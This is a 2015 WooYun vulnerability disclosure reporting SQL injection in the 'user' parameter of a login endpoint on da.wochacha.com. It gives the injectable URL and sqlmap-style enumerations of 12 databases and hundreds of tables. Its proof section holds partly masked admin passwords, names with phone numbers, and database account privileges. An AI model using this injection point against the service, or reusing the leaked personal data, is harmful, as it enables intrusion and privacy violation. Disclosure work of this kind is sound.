当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0131643

漏洞标题：我查查某处SQL注入（涉及12库，675表）

相关厂商：wochacha.com

漏洞作者： 路人甲

提交时间：2015-08-04 18:50

修复时间：2015-08-09 18:52

公开时间：2015-08-09 18:52

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-04： 细节已通知厂商并且等待厂商处理中
2015-08-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

我查查某处SQL注入（涉及12库，675表） 大量信息泄露

详细说明：

http://da.wochacha.com/index.php/da/ajax/login?_dc=1438674485757&user=admin*&pwd=admin&page=1&start=0&limit=25


注入点，user 存在注入
账号密码 的太多，我就不贴那了，

available databases [12]:
[*] calpontsys
[*] da
[*] da_gcore
[*] gcore
[*] guser
[*] infinidb_querystats
[*] infinidb_vtable
[*] information_schema
[*] mysql
[*] pa
[*] test
[*] wccda


Database: wccda
[102 tables]
+---------------------------------------+
| da_action_function                    |
| da_activetime_analysis                |
| da_advert_analysis                    |
| da_advert_discstarttime_analysis      |
| da_advertperiod_analysis              |
| da_antifake_analysis                  |
| da_antifakerate_analysis              |
| da_antifakevoicomt_analysis           |
| da_antifakevoiitemtop_analysis        |
| da_baike_analysis                     |
| da_barcode_scanpv                     |
| da_buy_analysis                       |
| da_buy_summary                        |
| da_category1top100_analysis           |
| da_collecttime_analysis               |
| da_commodityprice_analysis            |
| da_cpresult_analysis                  |
| da_datacity_analysis                  |
| da_datacollect_analysis               |
| da_dist                               |
| da_experience_analysis                |
| da_expodetail_analysis                |
| da_expoitem_analysis                  |
| da_exposure_analysis                  |
| da_expressitem_analysis               |
| da_expresstop_analysis                |
| da_freebuydetail_analysis             |
| da_freebuyitem_analysis               |
| da_fshopcom_analysis                  |
| da_indexdetail_analysis               |
| da_keywordsearch_analysis             |
| da_lyg_analysis                       |
| da_model_analysis                     |
| da_networking_analysis                |
| da_newpromotion_analysis              |
| da_newpromotiondetail_analysis        |
| da_nonamecheckweek_analysis           |
| da_operators_analysis                 |
| da_orderdetail_analysis               |
| da_os_analysis                        |
| da_othersdetail_analysis              |
| da_othersitem_analysis                |
| da_parameter_manager                  |
| da_pointdetail_analysis               |
| da_pointitem_analysis                 |
| da_pricecompare_analysis              |
| da_purchasemonthkeep_analysis         |
| da_purchaseweekkeep_analysis          |
| da_qrdetailpage_analysis              |
| da_qrindexdetail_analysis             |
| da_qrmake_analysis                    |
| da_qrscan_analysis                    |
| da_qrsoft_analysis                    |
| da_realtime_monitor                   |
| da_resolution_analysis                |
| da_role                               |
| da_scan_analysis                      |
| da_scanbarcategory_analysis           |
| da_scancommodity_analysis             |
| da_seller_analysis                    |
| da_sellerdetail_analysis              |
| da_servicedetail_analysis             |
| da_serviceitem_analysis               |
| da_shopassist_analysis                |
| da_shopassistbartop_analysis          |
| da_show_analysis                      |
| da_showbuy_analysis                   |
| da_soft_analysis                      |
| da_softdetail_analysis                |
| da_softdown_analysis                  |
| da_softtopic_analysis                 |
| da_source                             |
| da_spnum_analysis                     |
| da_superdetail_analysis               |
| da_supertop_analysis                  |
| da_tshopcom_analysis                  |
| da_user_analysis                      |
| da_usermodule_analysis                |
| da_usrkeep_analysis                   |
| da_usrkeep_analysis_inf               |
| da_usrlifecycle_analysis              |
| da_usrregion_analysis                 |
| da_usrreturn_analysis                 |
| da_usrreturn_analysis_inf             |
| da_version_manage                     |
| da_warning_analysis                   |
| da_zxdetail_analysis                  |
| da_zxmerchant_analysis                |
| kpi_daily                             |
| log_report                            |
| lyg_page                              |
| newpromotion_page                     |
| statistic_function                    |
| statistic_function2                   |
| supermarket_dg                        |
| supermarket_page                      |
| supermarket_sale                      |
| wcc_realtime_monitor                  |
| wcc_subjectbanner                     |
| wcc_version_manage                    |
| zxmerchant_page                       |
| zxmerchant_page_new                   |
+---------------------------------------+
Database: guser
[1 table]
+---------------------------------------+
| wcc_subjectbanner                     |
+---------------------------------------+
Database: infinidb_querystats
[3 tables]
+---------------------------------------+
| priority                              |
| querystats                            |
| user_priority                         |
+---------------------------------------+
Database: calpontsys
[2 tables]
+---------------------------------------+
| syscolumn                             |
| systable                              |
+---------------------------------------+
Database: da
[138 tables]
+---------------------------------------+
| ca_commoditypv_ctid                   |
| ca_crawlersalary_accuracy             |
| ca_crawlersalary_addcommodity         |
| ca_crawlersalary_attendencedaily      |
| ca_crawlersalary_attendencemonth      |
| ca_crawlersalary_barcodectid_top5000  |
| ca_crawlersalary_barcodestid          |
| ca_crawlersalary_coveragectid         |
| ca_crawlersalary_coveragestid         |
| ca_crawlersalary_crawler              |
| ca_crawlersalary_position             |
| ca_crawlersalary_salary               |
| ca_crawlersalary_salarysetting        |
| ca_crawlersalary_user                 |
| ca_datacollect_analysis               |
| da_action_function                    |
| da_activetime_analysis                |
| da_advert_analysis                    |
| da_advert_analysis1                   |
| da_advert_discstarttime_analysis      |
| da_advertperiod_analysis              |
| da_advertperiod_analysis1             |
| da_antifake_analysis                  |
| da_antifakerate_analysis              |
| da_antifakevoicomt_analysis           |
| da_antifakevoiitemtop_analysis        |
| da_baike_analysis                     |
| da_barcode_scanpv                     |
| da_buy_analysis                       |
| da_buy_summary                        |
| da_category1top100_analysis           |
| da_collecttime_analysis               |
| da_commodityprice_analysis            |
| da_cpresult_analysis                  |
| da_cpresult_analysis_old              |
| da_datacity_analysis                  |
| da_datacollect_analysis               |
| da_dist                               |
| da_experience_analysis                |
| da_expodetail_analysis                |
| da_expoitem_analysis                  |
| da_exposure_analysis                  |
| da_expressitem_analysis               |
| da_expresstop_analysis                |
| da_freebuydetail_analysis             |
| da_freebuyitem_analysis               |
| da_fshopcom_analysis                  |
| da_indexdetail_analysis               |
| da_keywordsearch_analysis             |
| da_model_analysis                     |
| da_networking_analysis                |
| da_newpromotion_analysis              |
| da_newpromotiondetail_analysis        |
| da_nonamecheckweek_analysis           |
| da_operators_analysis                 |
| da_orderdetail_analysis               |
| da_os_analysis                        |
| da_othersdetail_analysis              |
| da_othersitem_analysis                |
| da_parameter_manager                  |
| da_pointdetail_analysis               |
| da_pointitem_analysis                 |
| da_pricecompare_analysis              |
| da_purchasemonthkeep_analysis         |
| da_purchaseweekkeep_analysis          |
| da_qrdetailpage_analysis              |
| da_qrindexdetail_analysis             |
| da_qrmake_analysis                    |
| da_qrscan_analysis                    |
| da_qrsoft_analysis                    |
| da_realtime_monitor                   |
| da_resolution_analysis                |
| da_role                               |
| da_scan_analysis                      |
| da_scanbarcategory_analysis           |
| da_scancommodity_analysis             |
| da_seller_analysis                    |
| da_sellerdetail_analysis              |
| da_servicedetail_analysis             |
| da_serviceitem_analysis               |
| da_sharedetail_analysis               |
| da_shopassist_analysis                |
| da_shopassistbartop_analysis          |
| da_show_analysis                      |
| da_showbuy_analysis                   |
| da_soft_analysis                      |
| da_softdetail_analysis                |
| da_softdown_analysis                  |
| da_softtopic_analysis                 |
| da_source                             |
| da_spnum_analysis                     |
| da_superdetail_analysis               |
| da_supertop_analysis                  |
| da_tshopcom_analysis                  |
| da_user_analysis                      |
| da_usermodule_analysis                |
| da_usrkeep_analysis                   |
| da_usrkeep_analysis2                  |
| da_usrkeep_analysis_inf               |
| da_usrkeepnew_analysis                |
| da_usrlifecycle_analysis              |
| da_usrregion_analysis                 |
| da_usrreturn_analysis                 |
| da_usrreturn_analysis_inf             |
| da_version_manage                     |
| da_warning_analysis                   |
| da_warning_analysis2                  |
| da_warning_analysis_copy              |
| da_zxdetail_analysis                  |
| da_zxmerchant_analysis                |
| gc_dist                               |
| gc_dist_merge                         |
| ip                                    |
| ip_20150623                           |
| ip_bak                                |
| ip_collect                            |
| ip_delta                              |
| ip_delta_20150610                     |
| ip_delta_20150611                     |
| ip_delta_20150615                     |
| ip_delta_20150616                     |
| iphone_change_amount                  |
| iphone_dist                           |
| kpi_daily                             |
| log_report                            |
| lyg_page                              |
| newdist                               |
| newpromotion_page                     |
| statistic_function                    |
| supermarket_dg                        |
| supermarket_page                      |
| supermarket_sale                      |
| t_barcode                             |
| wcc_realtime_monitor                  |
| wcc_subjectbanner                     |
| wcc_version_manage                    |
| zxmerchant_page                       |
| zxmerchant_page_new                   |
+---------------------------------------+
Database: pa
[18 tables]
+---------------------------------------+
| pa_brand                              |
| pa_brand_downpri_analysis             |
| pa_category2_analysis                 |
| pa_cgy2_index_analysis                |
| pa_cgy2_unit_analysis                 |
| pa_cgy_goods_seqcmp_analysis          |
| pa_city_minprice_analysis             |
| pa_classify                           |
| pa_fastest_growth_goods_analysis      |
| pa_para_statistics                    |
| pa_price_extract_data                 |
| pa_price_trend_analysis               |
| pa_price_zone_analysis                |
| pa_role                               |
| pa_store                              |
| pa_store_index_analysis               |
| pa_stores_downpri_analysis            |
| pa_unit_topprice_analysis             |
+---------------------------------------+
Database: mysql
[23 tables]
+---------------------------------------+
| user                                  |
| columns_priv                          |
| db                                    |
| event                                 |
| func                                  |
| general_log                           |
| help_category                         |
| help_keyword                          |
| help_relation                         |
| help_topic                            |
| host                                  |
| ndb_binlog_index                      |
| plugin                                |
| proc                                  |
| procs_priv                            |
| servers                               |
| slow_log                              |
| tables_priv                           |
| time_zone                             |
| time_zone_leap_second                 |
| time_zone_name                        |
| time_zone_transition                  |
| time_zone_transition_type             |
+---------------------------------------+
Database: test
[32 tables]
+---------------------------------------+
| DA_ScanCommodity_Analysis             |
| ad_analysis                           |
| ad_showset                            |
| barcode_top_dately                    |
| commoditypv_2014_07commodity          |
| commoditypv_2014_07ctid               |
| commoditypv_2014_08commodity          |
| commoditypv_2014_08ctid               |
| commoditypv_2014_09commodity          |
| commoditypv_2014_09ctid               |
| commoditypv_2014_10commodity          |
| commoditypv_2014_10ctid               |
| commoditypv_2014_11commodity          |
| commoditypv_2014_11ctid               |
| da_barcode_scanpv                     |
| da_barcode_scanpv1                    |
| da_expoitem_analysis_test             |
| da_expressitem_analysis               |
| da_ip_collect                         |
| da_scan_analysis                      |
| da_usrkeep_analysis                   |
| ip_collect                            |
| ip_delta                              |
| linshiteste                           |
| newpromotion_category_pv              |
| newtable1                             |
| pa_unit_topprice_analysis             |
| supermarket_sale                      |
| t_barcode                             |
| urid                                  |
| user_point_2014                       |
| user_point_all                        |
+---------------------------------------+
Database: da_gcore
[1 table]
+---------------------------------------+
| wcc_audit_stat                        |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+
Database: gcore
[327 tables]
+---------------------------------------+
| bk_baike                              |
| bk_barcode                            |
| ch_product                            |
| da_barcoderesult2                     |
| da_test                               |
| dm_antifake                           |
| dm_antifake_comment                   |
| dm_antifake_detail                    |
| dm_antifake_useful                    |
| dm_commodity_anti                     |
| gc_banner                             |
| gc_brand                              |
| gc_brandcity                          |
| gc_cache_temp                         |
| gc_city                               |
| gc_classify                           |
| gc_code2barcode                       |
| gc_combrand                           |
| gc_commodity                          |
| gc_commodity_content                  |
| gc_commodity_extra                    |
| gc_commodity_history                  |
| gc_commodity_medicine                 |
| gc_commodity_tag                      |
| gc_commodity_update                   |
| gc_crawler                            |
| gc_crawler_correct                    |
| gc_crawler_date_report                |
| gc_crawler_store                      |
| gc_datain_report                      |
| gc_dist                               |
| gc_favorite_commodity                 |
| gc_mall_adver                         |
| gc_mall_category                      |
| gc_mall_groupon                       |
| gc_mall_item                          |
| gc_mall_itemcategory                  |
| gc_manufacturer                       |
| gc_medicine                           |
| gc_medicine_tag                       |
| gc_plan                               |
| gc_point_exchange                     |
| gc_point_product                      |
| gc_point_product_store                |
| gc_price                              |
| gc_price_archive                      |
| gc_price_archive2                     |
| gc_price_cache                        |
| gc_price_cache_temp                   |
| gc_price_ref                          |
| gc_price_review                       |
| gc_price_tobecrawl                    |
| gc_product                            |
| gc_promotion                          |
| gc_promotion_cache                    |
| gc_promotion_detail                   |
| gc_promotioncity                      |
| gc_promotionstore                     |
| gc_province                           |
| gc_recommand                          |
| gc_report                             |
| gc_report_temp                        |
| gc_report_user                        |
| gc_scan_list                          |
| gc_show_merchant                      |
| gc_software                           |
| gc_store                              |
| gc_store_cooperate                    |
| gc_store_cover                        |
| gc_store_shadow                       |
| gc_store_test                         |
| gc_tag                                |
| gc_user_center                        |
| gc_user_correct                       |
| gc_user_point                         |
| gcgc_price_archive                    |
| home_item                             |
| lyg_activity                          |
| mall_products                         |
| mall_stores                           |
| mq_store_data                         |
| ofallmessage                          |
| qs_reportdetail                       |
| qs_subject                            |
| qs_subjectconnect                     |
| vendor_area                           |
| vendor_bussiness                      |
| vendor_cat                            |
| vendor_coupon                         |
| vendor_couponstore                    |
| vendor_couponuser                     |
| vendor_favorite                       |
| vendor_item                           |
| vendor_store                          |
| vendor_store0                         |
| vendor_store1                         |
| vendor_store_copy                     |
| vendor_user                           |
| vendor_userarea                       |
| wcc_360buy                            |
| wcc_360buy_tmp                        |
| wcc_antifake_media_comment            |
| wcc_api_access                        |
| wcc_api_log                           |
| wcc_api_user                          |
| wcc_audit_stat                        |
| wcc_bannerposition                    |
| wcc_barcode_blacklist_business        |
| wcc_barcode_image                     |
| wcc_brand_comment                     |
| wcc_bsactivitycommodity               |
| wcc_bsbanner                          |
| wcc_bsbrand                           |
| wcc_bsbrandactivity                   |
| wcc_bsbrandsome                       |
| wcc_bscategory                        |
| wcc_bscategorymap                     |
| wcc_bscolumn                          |
| wcc_bscolumn_items                    |
| wcc_bscouponcode                      |
| wcc_bscouponsend                      |
| wcc_bsexplanation                     |
| wcc_bsgroupbuy                        |
| wcc_bsgroupstore                      |
| wcc_bsitem                            |
| wcc_bsitem_new                        |
| wcc_bsitemdetail                      |
| wcc_bsmerchant_addition               |
| wcc_bsorder                           |
| wcc_bsorderdetail                     |
| wcc_bsorderlists                      |
| wcc_bspromotion                       |
| wcc_bsprostore                        |
| wcc_bsspike                           |
| wcc_bsstore                           |
| wcc_bssubcategory                     |
| wcc_buslines                          |
| wcc_byblacklists                      |
| wcc_bycard                            |
| wcc_bymergeorder                      |
| wcc_bynbstore                         |
| wcc_byneighbor                        |
| wcc_byorder                           |
| wcc_byorder_bak                       |
| wcc_byordercomment                    |
| wcc_byorderdetail                     |
| wcc_byorderhistory                    |
| wcc_byorderotherinfo                  |
| wcc_byplan                            |
| wcc_byprice                           |
| wcc_byprice_backup                    |
| wcc_byprice_history                   |
| wcc_bypricecache                      |
| wcc_byproduct_category                |
| wcc_byrecomment                       |
| wcc_byroute                           |
| wcc_bystore                           |
| wcc_category                          |
| wcc_category_new                      |
| wcc_category_ref                      |
| wcc_category_ref_new                  |
| wcc_comment_extra                     |
| wcc_commodity_category                |
| wcc_commodity_history                 |
| wcc_commodity_hot                     |
| wcc_commodity_media_comment           |
| wcc_commodity_multi                   |
| wcc_commodity_pv                      |
| wcc_cplog                             |
| wcc_cpuser                            |
| wcc_crawlerpricecache                 |
| wcc_da_category                       |
| wcc_da_category_barcode               |
| wcc_da_category_ref                   |
| wcc_hdorder                           |
| wcc_indexevent                        |
| wcc_indexevent_items                  |
| wcc_manubar_relationship              |
| wcc_manufacturer_news                 |
| wcc_mergeorder                        |
| wcc_msorder                           |
| wcc_msorder_bak                       |
| wcc_msorderlists                      |
| wcc_msorderotherinfo                  |
| wcc_mspayment                         |
| wcc_name                              |
| wcc_namecompare_temp                  |
| wcc_namecompare_temp1                 |
| wcc_namecompare_temp2                 |
| wcc_ordermsgcount                     |
| wcc_orderstatus                       |
| wcc_pcrecommend                       |
| wcc_pcseo                             |
| wcc_pcshorturl                        |
| wcc_pczxitem                          |
| wcc_pm_cache                          |
| wcc_pm_cache_copy                     |
| wcc_pm_plan                           |
| wcc_pm_promotion_product              |
| wcc_price_add                         |
| wcc_price_multi                       |
| wcc_price_ref                         |
| wcc_price_ref_blacklist               |
| wcc_price_ref_check                   |
| wcc_price_state_enum                  |
| wcc_priceindex                        |
| wcc_product                           |
| wcc_product_barcode                   |
| wcc_product_category                  |
| wcc_product_image                     |
| wcc_product_info                      |
| wcc_product_recommend                 |
| wcc_product_recommend_group           |
| wcc_product_tag                       |
| wcc_product_tag_old                   |
| wcc_promotion                         |
| wcc_promotion_activity                |
| wcc_promotion_activityconnectstore    |
| wcc_promotion_banner                  |
| wcc_promotion_bannerconnectactivity   |
| wcc_promotion_bannerconnectcity       |
| wcc_promotion_barcode_list            |
| wcc_promotion_category                |
| wcc_promotion_connect_store           |
| wcc_promotion_contact                 |
| wcc_promotion_cornermark              |
| wcc_promotion_event                   |
| wcc_promotion_event_contact           |
| wcc_promotion_event_job               |
| wcc_promotion_event_product           |
| wcc_promotion_event_product_cache     |
| wcc_promotion_event_product_log       |
| wcc_promotion_event_store             |
| wcc_promotion_pic                     |
| wcc_promotion_product_cache           |
| wcc_promotion_store_list              |
| wcc_qcoffshelves_barcode              |
| wcc_qsreport                          |
| wcc_qsreportcategory                  |
| wcc_qsreportdetail                    |
| wcc_qssubject                         |
| wcc_qssubjectcategory                 |
| wcc_retail_address_mapping            |
| wcc_retail_area                       |
| wcc_retail_category                   |
| wcc_retail_chatquickreply             |
| wcc_retail_city_view                  |
| wcc_retail_column                     |
| wcc_retail_comment                    |
| wcc_retail_commodity                  |
| wcc_retail_commodity_promotion        |
| wcc_retail_crawler                    |
| wcc_retail_driverecord                |
| wcc_retail_invoice                    |
| wcc_retail_merchant_import            |
| wcc_retail_message                    |
| wcc_retail_messagecity                |
| wcc_retail_order                      |
| wcc_retail_order_detail               |
| wcc_retail_order_log                  |
| wcc_retail_otherprice                 |
| wcc_retail_phone_dnd                  |
| wcc_retail_picture                    |
| wcc_retail_price                      |
| wcc_retail_purchase                   |
| wcc_retail_purchase_lastordertime     |
| wcc_retail_schedule                   |
| wcc_retail_service                    |
| wcc_retail_spec                       |
| wcc_retail_textadvs                   |
| wcc_retail_voucher                    |
| wcc_retail_voucher_code               |
| wcc_retail_voucher_order_connect      |
| wcc_rmb_news                          |
| wcc_rmb_survey                        |
| wcc_rules                             |
| wcc_scan_rank                         |
| wcc_scan_tent                         |
| wcc_sgorder                           |
| wcc_slide_city_connect                |
| wcc_slidebanner                       |
| wcc_software_category                 |
| wcc_store_busline                     |
| wcc_store_state_enum                  |
| wcc_store_url                         |
| wcc_subjectbanner                     |
| wcc_subscriptionstore                 |
| wcc_system_holiday                    |
| wcc_test                              |
| wcc_user_statistics                   |
| wcc_wherebuy                          |
| wcc_yihaodian                         |
| wcc_yihaodian_arthur                  |
| wcc_zxactivity                        |
| wcc_zxactivitylimit                   |
| wcc_zxactivitysend                    |
| wcc_zxactivitystore                   |
| wcc_zxback                            |
| wcc_zxcolumn                          |
| wcc_zxcolumn_items                    |
| wcc_zxcolumn_items_cache              |
| wcc_zxexplaination                    |
| wcc_zximage                           |
| wcc_zxintroduction                    |
| wcc_zxitem                            |
| wcc_zxitem_audit                      |
| wcc_zxiteminfo                        |
| wcc_zxitemstore                       |
| wcc_zxmaterial                        |
| wcc_zxmerchant                        |
| wcc_zxmerchant_addition               |
| wcc_zxmerchant_province               |
| wcc_zxmerchant_shadow                 |
| wcc_zxmerchantaddition_history        |
| wcc_zxnews                            |
| wcc_zxorder                           |
| wcc_zxorder_bak                       |
| wcc_zxorderaccount                    |
| wcc_zxorderdetail                     |
| wcc_zxorderlists                      |
| wcc_zxpayment                         |
| wcc_zxproduct                         |
| wcc_zxproductinfo                     |
| wcc_zxregister                        |
| wcc_zxshippingaddress                 |
| wcc_zxstore                           |
| wcc_zxuser                            |
+---------------------------------------+

漏洞证明：

+----------+-------------+
| Name     | Passwd      |
+----------+-------------+
| admin    | s*******szz |
| da****   | da_*****    |
+----------+-------------+


丁双*    | 1357719023*
荣玲*    | 1358409656*
袁*      | 1358879279*
曾*      | 1359400725*


[*] 'sibyl'@'116.228.88.226' [1]:
    privilege: SELECT
[*] 'vinny'@'116.228.88.226' [1]:
    privilege: USAGE
[*] 'web'@'116.228.88.226' [1]:
    privilege: USAGE


修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-08-09 18:52

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无